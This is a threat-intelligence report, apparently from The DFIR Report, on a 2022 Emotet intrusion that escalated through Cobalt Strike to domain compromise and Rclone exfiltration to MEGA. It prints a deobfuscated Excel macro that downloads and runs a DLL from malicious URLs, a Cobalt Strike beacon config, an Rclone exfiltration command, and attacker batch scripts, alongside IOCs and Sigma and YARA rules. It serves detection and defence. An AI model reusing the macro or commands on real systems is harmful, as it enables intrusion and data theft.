Dead or Alive? An Emotet Story
In this intrusion from May 2022, we observed a domain-wide compromise that started from a malware ridden Excel document containing the never-dying malware, Emotet.
The post-exploitation started very soon after the initial compromise. The threat actors began enumerating the network once Emotet deployed a Cobalt Strike beacon on the beachhead host. After three days of discovery and lateral movement, the threat actors exfiltrated sensitive data using Rclone before leaving the network.
After a successful takedown thanks to Interpol and Eurojust efforts, Emotet was resurrected in November 2021 with the help of Trickbot malware. Since then, Emotet has been testing different initial access payloads while its developers were busy improving the core functionality of the actual malware. Since January 2022 we observed an increase in the activity of Cobalt Strike deployments following Emotet intrusions.
In a few weeks, we’ll have another Emotet report out from June, where the intrusion used similar TTPs and ended in ransomware.
Case Summary
Back in May, we witnessed an intrusion that started from a phishing email which included Emotet. The intrusion lasted four days and contained many of the usual suspects, including the Cobalt Strike post-exploitation framework.
The Emotet infection was delivered using a xls file containing a malicious macro, a technique that has been on the wane in recent months. After executing the Emotet malware, it ran a few basic Windows discovery commands (systeminfo, ipconfig, etc.), wrote a registry run key for persistence, and made its initial call outs to the command and control servers.
Around 40 minutes after the initial execution, the Emotet malware started to run a new Emotet email spreader campaign. This entailed connecting to various email servers and sending new emails with attached xls and zip files. This activity continued until the UTC clock turned over to the next day; at which point, the email spreader halted for a period of time and around seven hours into the second day, it began running the email spreader again.
Around 26 hours after the initial infection, while still running the email spreader, the Emotet malware pulled down and executed a Cobalt Strike payload on the beachhead host. Right after the beacon was executed, the threat actors began enumerating the network using native Windows binaries and the PowerView module, Invoke-ShareFinder. Around 30 minutes after dropping the beacon the threat actor injected into a dllhost.exe process and then proceeded to dump credentials from LSASS. Another 20 minutes later, the threat actor ran Invoke-ShareFinder again and Invoke-Kerberoast.
At 29 hours from initial access, the threat actors began their first lateral movement. This was achieved by transferring a Cobalt Strike DLL over SMB and executing via a remote service on another workstation. From there, they ran Invoke-Sharefinder once again, along with AdFind, using a batch file named find.bat. Pass-the-Hash behavior was observed targeting several accounts on the lateral host. Use of Cobalt Strike’s Get-System module was also apparent via the logs.
The threat actors then proceeded to do additional network discovery using a batch script named p.bat to ping all servers in the network. More account discovery was then observed, with queries for Domain Administrators and a backup account.
At 31 hours into the intrusion, the threat actors pivoted to the Domain Controller using the same Cobalt Strike DLL. Once on the Domain Controller, the threat actors again used Get-System to elevate and then dumped LSASS. After completing that activity, the threat actors chose another server to push a file, 1.msi, to, which was the installation package for Atera–for an additional means of persistence and command and control. During this whole second day, the original Emotet infection on the beachhead host was still trying to send more malicious emails, finally stopping for the day a little before 23:00 UTC.
They returned the next day, at the same time as the previous day, and picked up where they left off. They pivoted to a couple of workstations on the network using Cobalt Strike and installed Atera and Splashtop with a different MSI installer. Once again, they executed Invoke-Sharefinder, AdFind, and the p.bat batch script to ping online servers. Using the remote admin tools, they used Rclone to exfiltrate important data from a file server and upload it to MEGA. Interestingly, the threat actors exfiltrated the same data twice while running Rclone with the parameter –ignore-existing from two different hosts on the network. Around 20:00 UTC the Emotet infection on the beachhead host began its email spreader activity again, only to halt at the change over at 00:00 UTC.
On the last day of this intrusion, the threat actors returned during their normal working hours and used Rclone to exfiltrate IT-related data from a separate server. This was the last activity we observed from this group. These cases commonly end up with ransomware in addition to data exfiltration. This, however, was not the case with this intrusion as the threat actors were evicted before any final actions could be taken.
Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here.
We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.
Timeline
Analysis and reporting completed by @Kostastsale and @IcsNick
Initial Access
The threat actor gained access to the environment after a user opened an Excel document and enabled macros. The document came in via email in the form of a zip file which included an xls file. Thanks for sharing @proxylife!
#Emotet – epoch4/5 – Malstorm continues.
— proxylife (@pr0xylife) May 18, 2022
Mixture of lnk files and xls files being sent. I am playing catching up updating my git with IOC's!
#1 – .lnk .ps1 > .dll
#2 – .zip > .xls > .dll
IOC'shttps://t.co/tZgoqOU6Ox (e4)https://t.co/BoJWNNvbhp (e5) pic.twitter.com/GfRXjO1GF8
The document contains hidden sheets, has white characters on a white background, and is attributed to SilentBuilder with Emotet, epoch5.
To deobfuscate the document the tool xlmdeobfuscator was used with the following output.
After deobfuscation and cleaned up, the code in the macro looks as follows.
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http[:]//praachichemfood[.]com/wp-content/Mwmos/","..\hvxda.ocx",0,0)
=IF(JRSJG1<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https[:]//lopespublicidade[.]com/cgi-bin/e5R5oG4iEaQnxQrZDh/","..\hvxda.ocx",0,0))
=IF(JRSJG2<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https[:]//bosny[.]com/aspnet_client/rnMp0ofR/","..\hvxda.ocx",0,0))
=IF(JRSJG3<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http[:]//seasidesolutions[.]com/cgi-bin/WLoO6sEzYCJ3LTlC/","..\hvxda.ocx",0,0))
=IF(JRSJG4<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http[:]//borgelin[.]org/belzebub/okwRWz1C/","..\hvxda.ocx",0,0))
=IF(JRSJG5<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http[:]//loa-hk[.]com/wp-content/ffBag/","..\hvxda.ocx",0,0))
=IF(JRSJG6<0, CLOSE(0),)
=EXEC("C:\Windows\System32\regsvr32.exe ..\hvxda.ocx")
=R
Execution
Emotet Execution
The execution is done from an Excel document using regsvr32.exe with the payload, hvxda.ocx, that is a DLL file with the name of random characters, llJyMIOvft.dll . Worth noting, the Excel document failed to download the second payload from a few of the embedded URLs.
A new file is then created in C:\%USERPROFILE%\AppData\Local\ with a folder that also consists of random characters.
Cobalt Strike Execution
The Emotet DLL is then used to download Cobalt Strike, which is then injected into svchost and dllhost.
Sysmon showing Emotet starting the Cobalt Strike executable.
A great way to get the Malleable profile (and additional beacon config), is to use Didier Stevens’s fantastic tool 1768.py. Here, the tool is used with a process dump of the executable.
Persistence
The Emotet malware infection on the beachhead host used a registry run key to maintain persistence.
This registry key activity (Sysmon EventID 12 & 13) was observed continuously on the beachhead host for the first few days of the intrusion.
Beyond the beachhead host, the threat actor deployed several Atera/Splashtop remote access tools across the environment as an alternative means of access to the environment should they lose access to their Cobalt Strike beacons.
Privilege Escalation
Use of Cobalt Strike’s Get-System named pipe technique was observed on the Domain Controller and other hosts to elevate to System privileges.
Defense Evasion
Process injection was observed during the intrusion by both Emotet and Cobalt Strike. Emotet injected multiple times into svchost to execute certain functions, including discovery commands.
Cobalt Strike used process hollowing to launch under the context of the Dllhost.exe process. We later saw Dllhost.exe injecting into multiple other processes, such as explorer.exe and svchost.exe, to execute further payloads.
Scanning process memory across affected hosts reveals both the direct Cobalt Strike processes and the injected processes using the Malpedia yara rule.
| .Pid | .ProcessName | .CommandLine | .Rule |
| 4616 | svchost.exe | C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc | win_cobalt_strike_auto |
| 4844 | svchost.exe | C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService | win_cobalt_strike_auto |
| 10256 | UOmCgbXygCe.exe | “C:\Users\USER\AppData\Local\FrlxbduRbdVAbVbS\UOmCgbXygCe.exe” | win_cobalt_strike_auto |
| 836 | svchost.exe | C:\Windows\system32\svchost.exe -k DcomLaunch -p | win_cobalt_strike_auto |
| 1008 | svchost.exe | C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM | win_cobalt_strike_auto |
| 9308 | regsvr32.exe | regsvr32 C:\ProgramData\1.dll | win_cobalt_strike_auto |
| 1056 | svchost.exe | C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p | win_cobalt_strike_auto |
| 1428 | svchost.exe | C:\Windows\system32\svchost.exe -k ICService -p | win_cobalt_strike_auto |
| 6036 | regsvr32.exe | regsvr32 C:\ProgramData\1.dll | win_cobalt_strike_auto |
Credential Access
From the beachhead host credentials appear to have been dumped from an injection into the SearchIndexer process on the host. Data observed using sysmon event id 10 shows the use of the SearchIndexer process, similar to behavior observed in a prior case, followed by known Cobalt Strike malleable profile named pipes.
EventID: 10 SourceImage: C:\Windows\system32\SearchIndexer.exe TargetImage: C:\Windows\system32\lsass.exe GrantedAccess: 136208 CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9d1e4|C:\Windows\System32\KERNELBASE.dll+2bcbe|C:\Program Files\Common Files\Microsoft Shared\Ink\IpsPlugin.dll+10369|C:\Program Files\Common Files\Microsoft Shared\Ink\IpsPlugin.dll+10b65|C:\Program Files\Common Files\Microsoft Shared\Ink\IpsPlugin.dll+8cb2|C:\Program Files\Common Files\Microsoft Shared\Ink\IpsPlugin.dll+53c9|C:\Windows\System32\KERNEL32.DLL+17034|C:\Windows\SYSTEM32\ntdll.dll+52651
EventID: 17 EventType: CreatePipe Image: C:\Windows\system32\SearchIndexer.exe PipeName: \SearchTextHarvester
Shortly after the credential dump using the SearchIndexer process, the Cobalt Strike process ran Invoke-Kerberoast looking for roastable accounts within the organization.
We observed Cobalt Strike beacons accessing LSASS on multiple occasions, on almost every compromised host.
Discovery
On the first day of the intrusion, the Emotet malware performed some basic discovery tasks on the host using built in Windows utilities.
systeminfo ipconfig /all
On the second day, the hands on activity from Cobalt Strike performed a more thorough examination of that host’s Windows domain.
C:\Windows\system32\cmd.exe /C net group "Domain Computers" /domain C:\Windows\system32\cmd.exe /C net group /domain "Domain Admins" C:\Windows\system32\cmd.exe /C net group /domain "Enterprise Admins" C:\Windows\system32\cmd.exe /C systeminfo C:\Windows\system32\cmd.exe /C net users C:\Windows\system32\cmd.exe /C nltest /DOMAIN_TRUSTS
The threat actors launched the PowerView module, Invoke-Sharefinder, from almost all of the hosts to which they pivoted, including the domain controller.
AdFind.exe, the command-line Active Directory query tool, was run on only one of the compromised hosts via the find.bat batch script. The contents of the script are below:
find.exe -f "(objectcategory=person)" > ad_users.txt find.exe -f "objectcategory=computer" > ad_computers.txt find.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt find.exe -sc trustdmp > trustdmp.txt find.exe -subnets -f (objectCategory=subnet)> subnets.txt find.exe -f "(objectcategory=group)" > ad_group.txt find.exe -gcb -sc trustdmp > trustdmp.txt echo end
Using the data collected from previous activity, they created a target list which was then fed to a batch script named p.bat. The batch file contained one line, which pinged a list of servers (servers.txt). The line can be seen below:
for /f %%i in (SERVERS.txt) do ping %%i -n 1 >> res.txt
Additionally, the threat actors displayed the share directories using dir.exe via the interactive shell from the Cobalt Strike beacon.
Lateral Movement
The Cobalt Strike jump psexec (Run service EXE on the remote host) produced a 7045 System Windows event on remote hosts. Example:
Below, the network traffic shows the SMB lateral transfer of one of the Atera Agent MSI installers (1.msi) used to gain access laterally on a host and provide persistence for later access.
The same can be observed for other payloads used during the intrusion as well; here we can see that same data using Zeek logs when the threat actors transferred the 1.dll Cobalt Strike beacon laterally to gain access to additional hosts.
We also observed Pass-The-Hash used throughout the intrusion via the Cobalt Strike Beacons. Threat actors used PTH to acquire a session with elevated user access. We observed the below logs being generated on the source host and domain controller that indicate the use of PTH.
Source Host:
- Windows EID 4624 Logon Type = 9 Authentication Package = Negotiate Logon Process = seclogo - Windows EID 467
Domain Controller:
- Windows EID 4776
You can read more about detecting “Pass-The-Hash” here by Stealthbits and here by Hausec.
Command and Control
Emotet
In the Emotet Excel document, the following URLs are hard coded, and obfuscated, to download the second stage.
https[:]//lopespublicidade[.]com/cgi-bin/e5R5oG4iEaQnxQrZDh/ https[:]//bosny[.]com/aspnet_client/rnMp0ofR/ http[:]//seasidesolutions[.]com/cgi-bin/WLoO6sEzYCJ3LTlC/ http[:]//borgelin[.]org/belzebub/okwRWz1C/ http[:]//loa-hk[.]com/wp-content/ffBag/
The second stage of Emotet has a set of hard-coded IPs that it tries to connect to after the DLL is executed.
hxxps[://]103[.]133[.]214[.]242/ hxxps[://]103[.]133[.]214[.]242:8080/ hxxps[://]103[.]41[.]204[.]169/ hxxps[://]103[.]41[.]204[.]169:8080/ hxxps[://]103[.]42[.]58[.]120/ hxxps[://]103[.]42[.]58[.]120:7080/ hxxps[://]103[.]56[.]149[.]105/ hxxps[://]103[.]56[.]149[.]105:8080/ hxxps[://]103[.]8[.]26[.]17/ hxxps[://]103[.]8[.]26[.]17:8080/ hxxps[://]104[.]248[.]225[.]227/ hxxps[://]104[.]248[.]225[.]227:8080/ hxxps[://]110[.]235[.]83[.]107/ hxxps[://]110[.]235[.]83[.]107:7080/ hxxps[://]116[.]124[.]128[.]206/ hxxps[://]116[.]124[.]128[.]206:8080/ hxxps[://]118[.]98[.]72[.]86/ hxxps[://]134[.]122[.]119[.]23/ hxxps[://]134[.]122[.]119[.]23:8080/ hxxps[://]139[.]196[.]72[.]155:8080/ hxxps[://]159[.]69[.]237[.]188/ hxxps[://]175[.]126[.]176[.]79/ hxxps[://]175[.]126[.]176[.]79:8080/ hxxps[://]178[.]62[.]112[.]199/ hxxps[://]178[.]62[.]112[.]199:8080/ hxxps[://]185[.]148[.]168[.]220/ hxxps[://]185[.]148[.]168[.]220:8080/ hxxps[://]188[.]225[.]32[.]231/ hxxps[://]188[.]225[.]32[.]231:4143/ hxxps[://]190[.]90[.]233[.]66/ hxxps[://]194[.]9[.]172[.]107/ hxxps[://]194[.]9[.]172[.]107:8080/ hxxps[://]195[.]154[.]146[.]35/ hxxps[://]195[.]77[.]239[.]39/ hxxps[://]195[.]77[.]239[.]39:8080/ hxxps[://]196[.]44[.]98[.]190/ hxxps[://]196[.]44[.]98[.]190:8080/ hxxps[://]202[.]134[.]4[.]210/ hxxps[://]202[.]134[.]4[.]210:7080/ hxxps[://]202[.]28[.]34[.]99/ hxxps[://]202[.]28[.]34[.]99:8080/ hxxps[://]202[.]29[.]239[.]162/ hxxps[://]203[.]153[.]216[.]46/ hxxps[://]207[.]148[.]81[.]119/ hxxps[://]207[.]148[.]81[.]119:8080/ hxxps[://]210[.]57[.]209[.]142/ hxxps[://]210[.]57[.]209[.]142:8080/ hxxps[://]217[.]182[.]143[.]207/ hxxps[://]36[.]67[.]23[.]59/ hxxps[://]37[.]44[.]244[.]177/ hxxps[://]37[.]44[.]244[.]177:8080/ hxxps[://]37[.]59[.]209[.]141/ hxxps[://]37[.]59[.]209[.]141:8080/ hxxps[://]45[.]71[.]195[.]104:8080/ hxxps[://]5[.]56[.]132[.]177:8080/ hxxps[://]51[.]68[.]141[.]164:8080/ hxxps[://]54[.]37[.]106[.]167:8080/ hxxps[://]54[.]37[.]228[.]122/ hxxps[://]54[.]38[.]143[.]246/ hxxps[://]54[.]38[.]143[.]246:7080/ hxxps[://]54[.]38[.]242[.]185/ hxxps[://]59[.]148[.]253[.]194/ hxxps[://]62[.]171[.]178[.]147:8080/ hxxps[://]66[.]42[.]57[.]149/ hxxps[://]68[.]183[.]91[.]111/ hxxps[://]68[.]183[.]91[.]111:8080/ hxxps[://]68[.]183[.]93[.]250/ hxxps[://]78[.]46[.]73[.]125/ hxxps[://]78[.]47[.]204[.]80/ hxxps[://]85[.]214[.]67[.]203/ hxxps[://]85[.]214[.]67[.]203:8080/ hxxps[://]85[.]25[.]120[.]45/ hxxps[://]85[.]25[.]120[.]45:8080/ hxxps[://]87[.]106[.]97[.]83/ hxxps[://]87[.]106[.]97[.]83:7080/ hxxps[://]88[.]217[.]172[.]165/ hxxps[://]88[.]217[.]172[.]165:8080/ hxxps[://]93[.]104[.]209[.]107/ hxxps[://]93[.]104[.]209[.]107:8080/
Cobalt Strike
Emotet, later on, deployed Cobalt Strike for additional functionality.
59.95.98.204 JA3: 72a589da586844d7f0818ce684948eea JA3S: f176ba63b4d68e576b5ba345bec2c7b7 Certificate: [66:f7:4c:f9:56:5d:fe:15:a6:8c:62:b9:3d:72:cb:8e:c9:e9:89:02] Not Before: 2022/05/19 12:22:46 UTC Not After: 2023/05/19 12:22:46 (UTC) Issuer Org: jQuery Subject Common: jquery.com
{
"beacontype": [
"HTTP"
],
"sleeptime": 45000,
"jitter": 37,
"maxgetsize": 1403644,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 206546002,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "59.95.98.204",
"port": 8080,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfWiK6EPk2D2Ho7CBgdUfK2kqa/1x2L0Tt0R4Pl/Sof+7skIOqclxG1PeQTbc0VYagoqiuCJCn/QQd8pJBzci5GMTtdrzcKqZXQBy3Rv7Sfv9v8MZQfU2UVrRgVChdAetwPDdSMAa5tsNhEKBDfpbpmhmXsjN10rW6mfPYu+kzuwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/jquery-3.3.1.min.js",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
},
"server": {
"output": [
"print",
"append 1522 characters",
"prepend 84 characters",
"prepend 3931 characters",
"base64url",
"mask"
]
}
},
"http-post": {
"uri": "/jquery-3.3.2.min.js",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
},
"tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
},
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
"spawnto_x64": "%windir%\\sysnative\\dllhost.exe"
},
"process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
"CreateThread 'ntdll!RtlUserThreadStart'",
"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend '\\x90\\x90'"
],
"transform-x64": [
"prepend '\\x90\\x90'"
],
"userwx": false
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": null,
"smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": true
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
Atera and Splashtop
Threat actors used Atera and Splashtop remote access tools on two compromised hosts during the intrusion. Atera granted the threat actors with interactive access. We cannot, however, confirm that the threat actors utilized this access because the majority of activity originated through the Cobalt Strike beacons.
Exfiltration
The threat actors used Rclone to exfiltrate sensitive data to MEGA.io cloud storage. Command line logging revealed the destination to be the Mega service and the network shares targeted.
rclone.exe, copy, \\REDACTED\Shares, mega:Shares, -q, --ignore-existing, --auto-confirm, --multi-thread-streams, 4, --transfers, 4
This activity was also visible on the network via Zeek logs showing the SMB share connection activity.
Actions on Objectives
Emotet has for some time been used as an initial access broker for various intrusions; however, some Emotet infections get tasked with continuing the delivery of new campaigns. In this intrusion, we observed both tasks occurring during the same time with both the delivery of access to the threat actor utilizing Cobalt Strike and exfiltrating data from the network, all the while, the original Emotet malware was tasked to deliver new malicious emails.
The Emotet mailer started roughly once each day during the intrusion. Marked by bursts of connection to various email servers.
The emails were sent through various compromised email accounts, propagating additional malicious xls files to further propagate Emotet access.
We did not see any further activity but we believe if given enough time, this would have ended with domain wide ransomware. We have a case coming up in a few weeks where it does exactly that.
Indicators
File:
info_1805.xls acd3d4e8f63f52eaf57467a76ca2389d 4a42b5e7e7fd43ddefc856f45bb95d97656ddca6 e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e 1.dll 27d0b9e38cdc9a31fa9271c0bbf5d393 e96980812c287c9d27be9181bcf08727cc9f457a 1b9c9e4ed6dab822b36e3716b1e8f046e92546554dff9bdbd18c822e18ab226b find.bat c96b2b5b52ef0013b841d136ddab0f49 22cc2bc032ae327de9f975e9122b692e4474ac15 5a5c601ede80d53e87e9ccb16b3b46f704e63ec7807e51f37929f65266158f4c p.bat adf2b487134ffcd7999e419318dfdf8d 91c54877440d14538be22d662e7f47e29ab219bf fd72a9313f8564b57ebd18791a438216d289d4a97df3f860f1fc585a001265d9 llJyMIOvft.dll e984f812689ec7af136a151a19b2d56c 88591ad3806c0a1e451c744d4942e99e9a5d2ff7 2b2e00ed89ce6898b9e58168488e72869f8e09f98fecb052143e15e98e5da9df UOmCgbXygCe.exe 592155bbbab05ac1f818cfd9eb53b672 82070d19c26e0f7e255168e1f2364174215aa0de f4c085ef1ba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4c1ed11c0d726b
Network:
Cobalt Strike:
59.95.98.204:8080
http://59.95.98.204:8080/jquery-3.3.1.min.js
Emotet:
103.8.26.17:8080
134.122.119.23:8080
54.38.143.246:7080
202.29.239.162:443
Detections
Network
Suricata rules:
ET DROP Spamhaus DROP Listed Traffic Inbound group 13 ET CNC Feodo Tracker Reported CnC Server group 9 ET CNC Feodo Tracker Reported CnC Server group 12 ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 ET MALWARE Cobalt Strike Beacon Activity (GET) ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response ET MALWARE Cobalt Strike Activity (POST) ET CNC Feodo Tracker Reported CnC Server group 22 ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET CNC Feodo Tracker Reported CnC Server group 24 ET MALWARE W32/Emotet CnC Beacon 3
Sigma
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/ateraagent_malicious_installations.yml
title: AteraAgent malicious installations
id: fb0f2d48-269d-473e-9afc-c540a16a990f
description: Detects potentially malicious AteraAgent installations when the IntegratorLogin parameter is used to register a non-business email.
status: experimental
date: 2022/09/12
author: '@kostastsale, @TheDFIRReport'
logsource:
category: process_creation
product: windows
detection:
selection1:
Image:
- '*\AteraAgent.exe'
CommandLine|contains|all:
- '/i '
- 'IntegratorLogin='
selection2:
CommandLine|contains:
# Feel free to modify the email addresses to fit your needs
- '@gmail.com'
- '@hotmail.com'
- '@hotmail.com'
- '@yandex.ru'
- '@mail.ru'
- '@outlook.com'
- '@protonmail.com'
- '@dropmail.me'
condition: selection1 and selection2
falsepositives:
- Unlikely
level: high
tags:
- attack.execution
- attack.T1059.006
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rclone_smb_share_exfiltration.yml
title: Rclone SMB Share Exfiltration
id: 889bc648-5164-44f4-9388-fb5d6b58a7b2
status: Experimental
description: Detection of a exfiltration activity using rclone from Windows network shares using SMB.
author: \@TheDFIRReport
date: 2022/09/12
references:
- https://thedfirreport.com/
logsource:
product: zeek
service: smb_files
detection:
selection:
file_name|endswith:
- '\rclone.exe'
condition: selection
falsepositives:
- Approved business backup processes.
level: medium
tags:
- attack.exfiltration
- attack.t567.002
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/potential_smb_dll_lateral_movement.yml
title: Potential SMB DLL Lateral Movement
id: 8fe1524e-8c97-404c-9dee-090929a315c4
status: Experimental
description: Detection of potential us of SMB to transfer DLL's into the ProgramData folder of hosts for purposes of lateral movement.
author: \@TheDFIRReport
date: 2022/09/12
references:
- https://thedfirreport.com/
logsource:
product: zeek
service: smb_files
detection:
selection_1:
file_name|contains:
- 'programdata'
selection_2:
file_name|endswith:
- '\.dll'
condition: selection_1 and selection_2
falsepositives:
- RMM Tools and Administrative activities in ProgramData Folder.
level: medium
tags:
- attack.lateral_movement
- attack.t1570
Yara
https://github.com/The-DFIR-Report/Yara-Rules/blob/main/case_14335.yar
/*
YARA Rule Set
Author: The DFIR Report
Date: 2022-09-12
Identifier: Emotet Case 14335
Reference: https://thedfirreport.com
*/
/* Rule Set ----------------------------------------------------------------- */
import "pe"
rule llJyMIOvft_14335 {
meta:
description = "llJyMIOvft.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = 2022-09-12"
hash1 = "2b2e00ed89ce6898b9e58168488e72869f8e09f98fecb052143e15e98e5da9df"
strings:
$s1 = "Project1.dll" fullword ascii
$s2 = "!>v:\"6;" fullword ascii
$s3 = "y6./XoFz_6fw%r:6*" fullword ascii
$s4 = "u3!RuF%OR_O*^$nw7&<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">" fullword ascii
$s5 = "*/B+ n" fullword ascii
$s6 = "ZnwFY66" fullword ascii
$s7 = "1!f%G%w" fullword ascii
$s8 = "QKMaXCL6" fullword ascii
$s9 = "IMaRlh9" fullword ascii
$s10 = "_BZRDe'7&7<<!{nBLU" fullword ascii
$s11 = "lw7\"668!qZNL_EIS7IiMa" fullword ascii
$s12 = "IS6\\JMtdHh0Piw2/PuH" fullword ascii
$s13 = "iw#!RuF%OR__*^$nw76668!qZNL_EYS7I" fullword ascii
$s14 = ".RuF%LR__*^$" fullword ascii
$s15 = "^<_EHJ3IPLPeZX0Phg7!BAK%_" fullword ascii
$s16 = "ilG8Rn\"2OIkY*E%zw'v669(pZGn_EH_6IE" fullword ascii
$s17 = "ilg7Rnr0OI^]*JTnw6\"76<" fullword ascii
$s18 = "Broken pipe" fullword ascii /* Goodware String - occured 742 times */
$s19 = "Permission denied" fullword ascii /* Goodware String - occured 823 times */
$s20 = "v)(Ro\">OHkU*D%xw9" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 3000KB and
( pe.imphash() == "066c972d2129d0e167d371a0abfcf03b" and ( pe.exports("YAeJyEAYL7F4eDck6YUaf") and pe.exports("fmFkmnQYB5TC2Sq5NGFkK") and pe.exports("nrDjhnkd9nedaQwcCY") ) or 12 of them )
}
rule UOmCgbXygCe_14335 {
meta:
description = "UOmCgbXygCe.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hash1 = "f4c085ef1ba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4c1ed11c0d726b"
strings:
$s1 = "runsuite.log" fullword ascii
$s2 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s3 = "f73.exe" fullword ascii
$s4 = "Processing test line %ld %s leaked %d" fullword ascii
$s5 = "Internal error: xmlSchemaTypeFixup, complex type '%s': the <simpleContent><restriction> is missing a <simpleType> child, but was" ascii
$s6 = "The target namespace of the included/redefined schema '%s' has to be absent or the same as the including/redefining schema's tar" ascii
$s7 = "The target namespace of the included/redefined schema '%s' has to be absent, since the including/redefining schema has no target" ascii
$s8 = "A <simpleType> is expected among the children of <restriction>, if <simpleContent> is used and the base type '%s' is a complex t" ascii
$s9 = "there is at least one entity reference in the node-tree currently being validated. Processing of entities with this XML Schema p" ascii
$s10 = "## %s test suite for Schemas version %s" fullword ascii
$s11 = "Internal error: %s, " fullword ascii
$s12 = "If <simpleContent> and <restriction> is used, the base type must be a simple type or a complex type with mixed content and parti" ascii
$s13 = "For a string to be a valid default, the type definition must be a simple type or a complex type with simple content or mixed con" ascii
$s14 = "For a string to be a valid default, the type definition must be a simple type or a complex type with mixed content and a particl" ascii
$s15 = "Could not open the log file, running in verbose mode" fullword ascii
$s16 = "not validating will not read content for PE entity %s" fullword ascii
$s17 = "Skipping import of schema located at '%s' for the namespace '%s', since this namespace was already imported with the schema loca" ascii
$s18 = "(annotation?, (simpleContent | complexContent | ((group | all | choice | sequence)?, ((attribute | attributeGroup)*, anyAttribut" ascii
$s19 = "get namespace" fullword ascii
$s20 = "instance %s fails to parse" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 7000KB and
( pe.imphash() == "bcf185f1308ffd9e4249849d206d9d0c" and pe.exports("xmlEscapeFormatString") or 12 of them )
}
rule info_1805_14335 {
meta:
description = "info_1805.xls"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hash1 = "e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e"
strings:
$s1 = "32.exe" fullword ascii
$s2 = "System32\\X" fullword ascii
$s3 = "DocumentOwnerPassword" fullword wide
$s4 = "DocumentUserPassword" fullword wide
$s5 = "t\"&\"t\"&\"p\"&\"s:\"&\"//lo\"&\"pe\"&\"sp\"&\"ub\"&\"li\"&\"ci\"&\"da\"&\"de.c\"&\"o\"&\"m/cgi-bin/e\"&\"5R\"&\"5o\"&\"G4\"&\"" ascii
$s6 = "UniresDLL" fullword ascii
$s7 = "OEOGAJPGJPAG" fullword ascii
$s8 = "\\Windows\\" fullword ascii
$s9 = "_-* #,##0.00_-;\\-* #,##0.00_-;_-* \"-\"??_-;_-@_-" fullword ascii
$s10 = "_-* #,##0_-;\\-* #,##0_-;_-* \"-\"_-;_-@_-" fullword ascii
$s11 = "_-;_-* \"" fullword ascii
$s12 = "^{)P -z)" fullword ascii
$s13 = "ResOption1" fullword ascii
$s14 = "DocumentSummaryInformation" fullword wide /* Goodware String - occured 41 times */
